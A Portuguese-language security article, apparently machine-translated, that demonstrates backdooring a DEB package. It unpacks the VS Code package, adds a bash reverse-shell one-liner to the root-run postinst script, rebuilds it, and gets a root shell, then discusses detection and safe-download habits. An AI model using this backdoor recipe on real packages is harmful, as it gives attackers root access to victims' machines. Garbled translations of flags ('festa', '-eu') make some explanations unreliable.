Você sabia que os invasores podem modificar os scripts empacotados em um arquivo DEB para obter acesso não autorizado ao seu PC? Veja como os pacotes DEB são backdoorados.
Principais conclusões
- Os pacotes DEB podem ser facilmente backdoorados, permitindo que invasores injetem código malicioso em seu sistema quando você os instala com permissões de root.
- Pacotes DEB infectados são difíceis de detectar, pois podem não ser sinalizados por software antivírus ou soluções em nuvem como o VirusTotal.
- Para se proteger, evite baixar pacotes DEB de sites aleatórios, opte por sites de download oficiais ou sites confiáveis da comunidade e considere instalar ferramentas de segurança para proteger seu sistema Linux contra rede ataques.
Arquivos DEB são pacotes de software que são o formato principal de envio de software em distribuições Linux baseadas em Debian.
Para instalar pacotes DEB, você deve usar um gerenciador de pacotes como o dpkg com permissões de root. Os invasores aproveitam isso e injetam backdoors nesses pacotes. Quando você os instala com dpkg ou qualquer outro gerenciador de pacotes, o código malicioso também é executado paralelamente e compromete seu sistema.
Vamos explorar exatamente como os pacotes DEB são backdoorados e o que você pode fazer para se proteger.
Como os pacotes DEB são backdoorados?
Antes de você entender como os pacotes DEB são backdoorados, vamos explorar o que há dentro de um pacote DEB. Para demonstração, baixarei o pacote Microsoft Visual Studio Code DEB do site oficial da Microsoft. Este é o mesmo pacote que você baixaria se deseja instalar o VS Code no Linux.
Download:Código do Visual Studio
Agora que você baixou o pacote de destino, é hora de descompactá-lo. Você pode descompactar um pacote DEB usando o dpkg-deb comando com o -R flag seguido do caminho para armazenar o conteúdo:
dpkg-deb -R
Isso deve extrair o conteúdo do pacote VS Code.
Movendo-se para a pasta você encontrará vários diretórios, no entanto, nosso interesse reside apenas no DEBIAN diretório. Este diretório contém scripts de mantenedor que são executados durante a instalação com privilégios de root. Como você já deve ter percebido, os invasores modificam os scripts neste diretório.
Para demonstração, vou modificar o postinst script e adicione um shell TCP reverso Bash simples de uma linha. Como o nome sugere, é um script que é executado após a instalação do pacote no sistema.
Ele contém comandos que finalizam as configurações, como configuração de links simbólicos, tratamento de dependências e muito mais. Você pode encontrar vários shells reversos diferentes na Internet. A maioria deles funcionará da mesma forma. Aqui está o exemplo de one-liner de shell reverso:
bash -i >& /dev/tcp/127.0.0.1/42069 0>&1
Explicação do comando:
- festa: Este é o comando que invoca o shell Bash.
- -eu: O sinalizador diz ao Bash para executar em modo interativo, permitindo E/S de comandos em tempo real.
-
>& /dev/tcp/ip/porta: Isso redireciona saída padrão e erro padrão a um soquete de rede, essencialmente estabelecendo uma conexão TCP com o
e . - 0>&1: Isso redireciona a entrada e a saída para o mesmo local, ou seja, para o soquete da rede.
Para os não iniciados, um shell reverso é um tipo de código que, quando executado na máquina alvo, inicia uma conexão de volta com a máquina do invasor. Os shells reversos são uma ótima maneira de contornar as restrições do firewall, pois o tráfego é gerado pela máquina atrás do firewall.
Esta é a aparência do script modificado:
Como você pode ver, tudo é igual, mas apenas uma linha foi adicionada, ou seja, nosso shell reverso Bash. Agora você precisa construir os arquivos de volta no ".deb"formato. Basta usar o dpkg comando com o --construir sinalizar ou usar dpkg-deb com o -b sinalizador seguido pelo caminho do conteúdo extraído:
dpkg --build
dpkg-deb -b
Agora o pacote DEB backdoor está pronto para ser enviado em sites maliciosos. Vamos simular um cenário em que uma vítima baixou o pacote DEB em seu sistema e o instalou como qualquer outro pacote normal.
O painel superior do terminal é para o ponto de vista da vítima e o inferior é o ponto de vista do invasor. A vítima está instalando o pacote com sudo dpkg -i e o invasor está ouvindo pacientemente as conexões de entrada usando o netcat comando no Linux.
Assim que a instalação terminar, observe que o invasor obtém a conexão reversa do shell e agora tem acesso root ao sistema da vítima. Agora você sabe como os pacotes DEB são backdoorados. Vamos agora aprender como você pode se proteger.
Como detectar se um pacote DEB é malicioso
Agora que você sabe que pacotes DEB infectados são uma coisa, você deve estar se perguntando como encontrar os infectados. Para começar, você pode tentar usar um Software antivírus Linux como ClamAV. Infelizmente, quando uma verificação do ClamAV foi executada no pacote, ele não o sinalizou como malicioso. Aqui está o resultado da verificação:
Portanto, a menos que você tenha uma solução antivírus premium instalada (o que não é uma garantia de que você não será hackeado), é muito difícil detectar pacotes DEB maliciosos. Vamos tentar usar uma solução em nuvem como o site VirusTotal:
Como você pode ver, o VirusTotal não detectou nada de errado com ele. Bem, a única maneira de se proteger contra tais ameaças é seguir a higiene básica de segurança, como não baixar arquivos de fontes desconhecidas, sempre verificando o hash de um arquivoe, em geral, evitando a instalação de software obscuro.
A Internet está cheia dessas ameaças. A única maneira de navegar sem perder seus dados é manter o bom senso e navegar em sites confiáveis. Além disso, para Linux, você também deve tentar descobrir se o software que está baixando tem um Variante AppImage pois eles são independentes e podem ser colocados em sandbox e, portanto, mantidos fora de contato com o seu sistema.
Não baixe pacotes DEB de sites aleatórios!
Os pacotes DEB não são inerentemente ruins, no entanto, os invasores podem facilmente transformá-los em armas e enviá-los para usuários desavisados. Conforme demonstrado, um pacote DEB pode ser facilmente aberto e modificado para adicionar código personalizado com apenas alguns comandos, tornando-o um vetor comum para envio de malware.
Mesmo backdoors simples em pacotes DEB não são detectados pelas principais soluções antivírus. Portanto, a melhor coisa a fazer é jogar pelo seguro, usar o bom senso ao navegar na web e sempre baixar software apenas de sites de download oficiais ou sites confiáveis da comunidade.
Agora que você está ciente dos riscos de segurança que acompanham a instalação de pacotes DEB de sites novos ou desconhecidos, você deve ter cuidado ao instalar novo software. No entanto, apenas tomar cuidado com o que você instala não é suficiente. Seu sistema Linux também pode ser alvo de ataques de rede.
Para garantir sua segurança no caso de um ataque à rede, você deve considerar a instalação de ferramentas de segurança de rede.